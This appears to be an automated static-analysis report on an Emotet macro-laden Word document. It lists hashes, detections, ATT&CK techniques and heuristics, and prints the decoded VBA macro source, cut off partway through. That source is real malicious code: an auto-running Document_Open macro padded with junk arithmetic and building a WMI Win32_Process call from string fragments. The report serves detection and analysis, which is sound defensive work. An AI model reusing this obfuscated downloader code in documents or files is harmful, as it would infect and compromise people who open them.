Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8017c49a899fb653…

MALICIOUS

Office (OLE)

171.5 KB Created: 2019-12-10 21:12:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 24beb0dae640c25d6619ee1b06a5032c SHA-1: 7b6688c280429e50f1d7851646acd359c3b3e970 SHA-256: 8017c49a899fb653a9f40be50d6d607bb43ae71fb4b163f9de81d56bed69e829
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. The ClamAV detection name 'Doc.Downloader.Emotet-7443840-1' strongly suggests the Emotet family. The VBA code, though obfuscated, indicates the execution of a downloader. The primary purpose appears to be downloading and executing a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7443840-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7443840-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6806 bytes
SHA-256: 82daf0565dd08e7a55622b6ad9c3a3a2c2fffefbd3f448a0028777dcbb5c7498
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hsheolxjq"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Oqtpvnezgruyv, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      If Itzrwjrpbumny < Fjnugjvfmlgol Then
         Dbpyyfbxqq = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Xupnpdwszq = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Xsgujaymdy < Nywmziymqqaa Then
         Bhzyruhup = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Uzzlejhiktpip = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Wydlxhuc < Rofqjxburt Then
         Dxmobnixc = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Glchrcmmw = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Wipqofqtwf
End Sub

Attribute VB_Name = "Ytxatmhtmzwws"
Attribute VB_Base = "0{7877343A-A91B-4E70-BD18-4B92B01BE467}{8D35FCA3-B952-434F-B145-8CBE4F265D74}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Gwgukvssw"
Function Afsynwxyikrvn()
      If Wjkynqyyb < Gsxabfzdakr Then
         Oghsyrpm = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Uxmovbtfqrd = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Yckvqopj = Hsheolxjq.Oqtpvnezgruyv
      If Nnmcllqjuz < Xrejsbpwyfblx Then
         Iewyfeqwkxvfh = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Oqkelraewf = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Wskkshmhqed = Yckvqopj + Ytxatmhtmzwws.Qgmqoung + Ytxatmhtmzwws.Wjskmglqazj + Ytxatmhtmzwws.Qmvoiabe
      If Ghrxlavejfi < Ajovhxyug Then
         Ixthaabok = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Bmrlqfxaccxz = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Gwmuaxwh = Wskkshmhqed + Ytxatmhtmzwws.Zoqfwpvlhox + Ytxatmhtmzwws.Ivioppxdi
      If Bawbcohv < Hrpahbig Then
         Txfzlkuzs = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Cidjyhdwfnlxo = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Afsynwxyikrvn = Tlijpoegl + Gwmuaxwh + Tlijpoegl
      If Daoepmfjsejlz < Xsitajmxys Then
         Bjudqfio = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Zsrckyciba = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
End Function
Function Wipqofqtwf()
      If Xxtfqwynmubwn < Rlfpczuwvqcz Then
         Ximtldtvdnc = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Pnyzjbcbs = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Drvuxxgds = E + "wi" + "n" + f + "mgmt" + g + "s:Win32_P" + n + "rocess"
      If Aeytrhpndgn < Xzivaxvjdc Then
         Ggtzrlsoszyh = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin
... (truncated)